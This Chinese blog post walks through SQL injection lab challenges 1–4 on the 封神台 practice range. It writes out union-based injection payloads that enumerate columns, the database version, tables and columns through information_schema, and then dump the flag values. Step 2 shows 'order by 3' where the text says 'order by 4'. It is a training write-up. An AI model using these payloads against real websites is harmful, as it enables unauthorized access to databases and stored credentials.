封神台-SQL注入实战靶场1-4题解题过程

原创

qq_43367379 于 2021-05-19 21:07:20 发布 445 收藏

分类专栏： SQL注入学习 文章标签： 数据库 sql

本文链接：https://blog.csdn.net/qq_43367379/article/details/117046205

背景

这是最基本的显错注入

已经给出SQL查询语句

`select * from user where id=1`

不需要先去判断是字符型还是数字型，去一步一步测出sql查询语句了

废话不多说，直接上解题步骤

1.在url地址栏上 ?id=1 后面拼接 order by 3

说明： 所有操作都是在地址栏上拼接字符串实现的，没有借助工具

`https://...?id=1 order by 3`

结果为 正确显示 当前用户的账号和密码

2.在url地址栏上 ?id=1 后面拼接 order by 4

`https://...?id=1 order by 3`

结果为 not found 。说明字段数为3

`（为什么是3而不是其他？也可以从1开始试，一般情况下用户登录表都有id,username,password 三个字段，所以从3开始）`

得到关键信息：用户信息表的字段为3

3.?id=0 union select 1,2,3

`https://...?id=0 union select 1,2,3`

返回结果为

```
Your Login name:2
Your Password:3
```

说明：id=0 返回的数据是空的， 用union 拼接select语句

根据返回的结果判断，我们 能看到的字段名是2，3

4.查看数据库名和数据库版本

`https://...?id=0 union select 1,version(),database()`

结果为

```
Your Login name:5.6.47
Your Password:error
```

可以知道数据库的版本是 5.0以上的，这样我们后续的操作才有意义，具体的解释可以自行百度

看到数据库名 为error 不要慌，不是真的error 而是数据库名就是error

5.根据数据库名获得该数据库中的表

`?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()`

结果为：

```
Your Login name:error_flag,user
Your Password:3
```

根据结果可知，有两张表，一张error_flag,应该是存放flag的，一张是user，存放信息的。

6.根据表名查表的字段名

`?id=0 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='error_flag'`

结果为

```
Your Login name:Id,flag
Your Password:3
```

7.根据字段名查数据

`?id=0 union select 1,group_concat(flag),3 from error_flag`

结果为

```
Your Login name:zKaQ-Nf,zKaQ-BJY,zKaQ-XiaoFang,zKaq-98K
Your Password:3
```

这四个值就是这四道题的flag，挨个提交即可通关一到四题